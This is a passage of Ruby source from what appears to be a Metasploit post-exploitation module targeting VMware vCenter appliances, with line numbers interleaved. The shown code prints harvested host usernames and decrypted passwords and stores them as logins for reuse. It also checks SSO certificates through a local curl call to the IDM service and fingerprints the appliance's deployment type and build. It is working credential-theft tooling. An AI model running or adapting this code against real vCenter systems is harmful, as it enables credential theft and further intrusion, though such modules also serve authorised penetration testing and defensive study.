        print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")
843
        credential_data = {
844
          username: cred['user'],
845
          private_data: cred['decrypted_password'],
846
          private_type: :password
847
        }.merge(extra_service_data)
848
      else
849
        print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")
850
        credential_data = {
851
          username: cred['user'],
852
          private_data: cred['password_hash'],
853
          private_type: :nonreplayable_hash
854
          # this is encrypted, not hashed, so no need for the following line, leaving it as a note
855
          # jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
856
        }.merge(extra_service_data)
857
      end
858

859
      login_data = {
860
        core: create_credential(credential_data),
861
        status: Metasploit::Model::Login::Status::UNTRIED
862
      }.merge(extra_service_data)
863

864
      create_credential_login(login_data)
865
    end
866
  end
867

868
  def validate_sts_cert(test_cert)
869
    cert = validate_x509_cert(test_cert)
870
    return false if cert.nil?
871

872
    vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')
873

874
    idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")
875

876
    if idm_cmd.blank?
877
      print_error('Unable to query IDM tenant information, cannot validate ssoserverSign certificate against IDM')
878
      return false
879
    end
880

881
    if (idm_json = JSON.parse(idm_cmd).first)
882
      idm_json['certificates'].each do |idm|
883
        cert_verify = validate_x509_cert(idm['encoded'])
884
        if cert_verify.nil?
885
          print_error('Invalid x509 certificate extracted from IDM!')
886
          return false
887
        end
888
        next unless cert == cert_verify
889

890
        return true
891
      end
892
    else
893
      print_error('Unable to parse IDM tenant certificates downloaded from http://localhost:7080/idm/tenant/ on local vCenter')
894
      return false
895
    end
896

897
    print_error('No vSphere IDM tenant certificates returned from http://localhost:7080/idm/tenant/')
898
    false
899
  end
900

901
  def validate_target
902
    if vcenter_management
903
      vc_db_type = get_database_type
904
      unless vc_db_type == 'embedded'
905
        fail_with(Msf::Exploit::Failure::NoTarget, "This module only supports embedded PostgreSQL, appliance reports DB type '#{vc_db_type}'")
906
      end
907

908
      unless command_exists?(psql_bin)
909
        fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{psql_bin}")
910
      end
911
    end
912

913
    self.vcenter_fqdn = get_fqdn
914
    if vcenter_fqdn.nil?
915
      print_bad('Could not determine vCenter DNS FQDN')
916
      self.vcenter_fqdn = ''
917
    end
918

919
    vsphere_machine_ipv4 = get_ipv4
920
    if vsphere_machine_ipv4.nil? || !Rex::Socket.is_ipv4?(vsphere_machine_ipv4)
921
      print_bad('Could not determine vCenter IPv4 address')
922
    else
923
      print_status("Appliance IPv4: #{vsphere_machine_ipv4}")
924
    end
925

926
    self.vc_psc_fqdn = get_platform_service_controller(vc_type_management)
927
    os, build = get_os_version
928

929
    print_status("Appliance Hostname: #{vcenter_fqdn}")
930
    print_status("Appliance OS: #{os}-#{build}")
931
    host_info = {
932
      host: session.session_host,
933
      name: vcenter_fqdn,
934
      os_flavor: os,
935
      os_sp: build,
936
      purpose: 'server',
937
      info: 'vCenter Server'
938
    }
939
    if os.downcase.include? 'linux'
940
      host_info[:os_name] = 'linux'
941
    end
942
    report_host(host_info)
943
  end
944

945
  def get_vcsa_version
946
    self.vc_type_embedded = false
947
    self.vc_type_infrastructure = false
948
    self.vc_type_management = false
949

950
    vcsa_type = get_deployment_type
951
    case vcsa_type
952
    when nil
953
      fail_with(Msf::Exploit::Failure::BadConfig, 'Could not find /etc/vmware/deployment.node.type')
954
    when 'embedded' # Integrated vCenter and PSC
955
      self.vc_deployment_type = 'vCenter Appliance (Embedded)'
956
      self.vc_type_embedded = true
957
    when 'infrastructure' # PSC only
958
      self.vc_deployment_type = 'vCenter Platform Service Controller'
959
      self.vc_type_infrastructure = true
960
    when 'management' # vCenter only
961
      self.vc_deployment_type = 'vCenter Appliance (Management)'
962
      self.vc_type_management = true
963
    else
964
      fail_with(Msf::Exploit::Failure::Unknown, "Unable to determine appliance deployment type returned from server: #{vcsa_type}")
965
    end
966

967
    if vcenter_management
968
      self.vcsa_build = get_vcenter_build
969
    end
970

971
    print_status(vcsa_build)
972
    print_status(vc_deployment_type)
973
  end
974

975
  private
976

977
  attr_accessor :base_dn, :base_fqdn, :bind_dn, :bind_pw, :keystore, :shell_bind_pw, :shell_vcdb_pass, :vc_deployment_type, :vc_psc_fqdn, :vc_sym_key, :vc_sym_key_raw, :vc_tenant_aes_key, :vc_tenant_aes_key_hex, :vc_type_embedded, :vc_type_infrastructure, :vc_type_management, :vcdb_name, :vcdb_pass, :vcdb_user, :vcenter_fqdn, :vcsa_build
978
end
979

980